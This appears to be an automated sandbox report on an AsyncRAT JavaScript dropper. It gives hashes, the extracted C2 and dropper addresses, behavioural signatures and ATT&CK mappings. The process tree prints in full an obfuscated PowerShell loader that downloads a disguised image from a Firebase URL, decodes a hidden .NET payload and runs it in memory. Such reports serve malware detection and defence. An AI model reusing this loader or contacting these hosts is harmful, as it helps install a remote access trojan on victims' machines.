asyncrat | 2299344bbd62b4e35352914b243585d4472686167239dfd3362d373880c34507

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/08/2026, 07:18

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General

Target
2299344bbd62b4e35352914b243585d4472686167239dfd3362d373880c34507.js
Size 1.4MB
Sample260820-h46vcasblh
SHA256 2299344bbd62b4e35352914b243585d4472686167239dfd3362d373880c34507
MD5 55e75eb00e0ffa0a4f819f1ed3753ebd
SHA1 d711744826b02caa5da2219001700f8a953b8e31
SHA512 e6e4d6772e903dc78853a5180e9a8d241b00acd77bd8048e02194ee40b51172c74012be98c67d2b78dc3c0a3f5fd582f0f45a1f669fd67c9c84162eb5aa91a58
SSDEEP 6144:0c90h/iN8QvY1LgYoQSCpAi8SQxzpdKrsjOWIWhLDpf:0cWhgRLDpf
TLSH
T15465E8E24441020A8879311BBB2D5B1F7BDC6BF1A6E4DF43B66AF8F0155C466E6C93E0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

xxxxxxxxxxxxxxxxxxxxx discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fyetye.png?alt=media&token=6cac8980-741f-4cba-a4b3-544de688a2c8

Extracted

Family

asyncrat

Version

1.0.7

Botnet

XXXXXXXXXXXXXXXXXXXXX

saass55.1cooldns.com:6664

Mutex

asvwwavw4466sve

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	1636	powershell.exe	85

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4856	powershell.exe
15	4856	powershell.exe
22	4856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4856 set thread context of 4496	4856	powershell.exe	90

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4496	MSBuild.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 4496	4856	powershell.exe	90
PID 4856 wrote to memory of 4496	4856	powershell.exe	90
PID 4856 wrote to memory of 4496	4856	powershell.exe	90
PID 4856 wrote to memory of 4496	4856	powershell.exe	90
PID 4856 wrote to memory of 4496	4856	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2299344bbd62b4e35352914b243585d4472686167239dfd3362d373880c34507.js
1⤵
PID:760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$analogise=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fyetye.png?alt=media&token=6cac8980-741f-4cba-a4b3-544de688a2c8''; $popovers = [System.Net.HttpWebRequest]::Create($analogise); $popovers.UserAgent = ''Mozilla/5.0''; $triace = $popovers.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($triace); $basidigitale = $reader.ReadtoEnd(); $onioniest=''IN-''; $vespiform=''-in1''; $ologist=[string]::IndexOf($basidigitale, $onioniest); $millipascals=$basidigitale.LastIndexOf($vespiform); if($ologist -eq -1 -or $millipascals -eq -1){return}; $protonotaries=$ologist+$onioniest.Length; $thoel=$basidigitale.Substring($basidigitale.IndexOf($onioniest)+$onioniest.Length, $millipascals-($basidigitale.IndexOf($onioniest)+$onioniest.Length)); $callers=$thoel.Replace(''*'',''A'').ToCharArray(); $anaesthetise = -join $callers[($callers.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($anaesthetise)); $mislikeness=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $thioanhydrides=$mislikeness.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $dolciano=(''eZHr2l4pgrphAkF73KVO35Rdlxk/W2rc1zcXAhdYjiXYUEE/kIQKtAv0c7Ei3y5iKW9JBl7wDTIkY5FD5sKQgbxlUBoZ73ObeZrbZY8WCDuAagRIHe6FIPuyuKZnlnDqa2tzzOjubgqiS1RKmkVcmacTso8PWV18VPKNjsONFNvB+2T1A1je/Jw/uJGQsJnD8wZlcYL5wvMxSyQgEedkUwwEECxNPazl3u5yd0M4mWg='','''',''r7V3nkOPK+7sz2bnIjOASJt6VaX5f3BZnifbi6gnHlnwBgEk6GNKP1Up2uqsPb9q'',''JacUL3Bxq9ZqNZ7ZQTgvIjyLgIVG1axnnxl/doReIfY='',''RCBp/fPtZYLSK6lwNlgUPbPAex3sHpPnB0f2gTf/QBo='','''',''gHlLOxYKjLQUf1X6IguzLkUcWwSwGRwwX4lud+pJVQo='','''','''',''/rPf+iLIWS5L7dtt1RA3X3UXi0O0De61A07vmxP2WAoUvLq9JUyeytNOEwpMUUC0'',''s2/pKCJtmzWyPvIzDv4ZnHdE1/hrvho28aDxVhB4N34='',''R1mFDRkyg/mJXpKsbdZTUQqK2+d6350d3co/sRvk9E0='',''dr45jRq4L33IoEPfzg2PP9L7JLG1KENVqODb3dhwsq4='','''',''KqmZmFyrtsNHJHNibQgtSiqJBY8H6vg88NyH4xfSCpQ='',''fYMv9NXOOXycdg6KWfQeha/a0rwxcc3rX+jrrhlyMHA='','''','''',''''); try{$boswellize=($thioanhydrides.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($boswellize.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$dolciano)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_sd4prd4d.obn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sd4prd4d.obn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4496-20-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4496-26-0x0000000006280000-0x00000000062E6000-memory.dmp

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memory/4496-25-0x00000000067C0000-0x0000000006D64000-memory.dmp

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memory/4496-24-0x0000000006170000-0x000000000620C000-memory.dmp

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memory/4856-16-0x00000183ED4E0000-0x00000183ED5B0000-memory.dmp

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memory/4856-0-0x00000183EA4B0000-0x00000183EA4C0000-memory.dmp

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memory/4856-17-0x00000183EA440000-0x00000183EA452000-memory.dmp

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memory/4856-18-0x00000183EA190000-0x00000183EA19A000-memory.dmp

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memory/4856-19-0x00000183ECFA0000-0x00000183ED0EE000-memory.dmp

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memory/4856-15-0x00000183EA4B0000-0x00000183EA4C0000-memory.dmp

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memory/4856-23-0x00000183ECFA0000-0x00000183ED0EE000-memory.dmp

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memory/4856-10-0x00000183ECFA0000-0x00000183ED0EE000-memory.dmp

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memory/4856-9-0x00000183EA4B0000-0x00000183EA4C0000-memory.dmp

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memory/4856-1-0x00000183EA140000-0x00000183EA162000-memory.dmp

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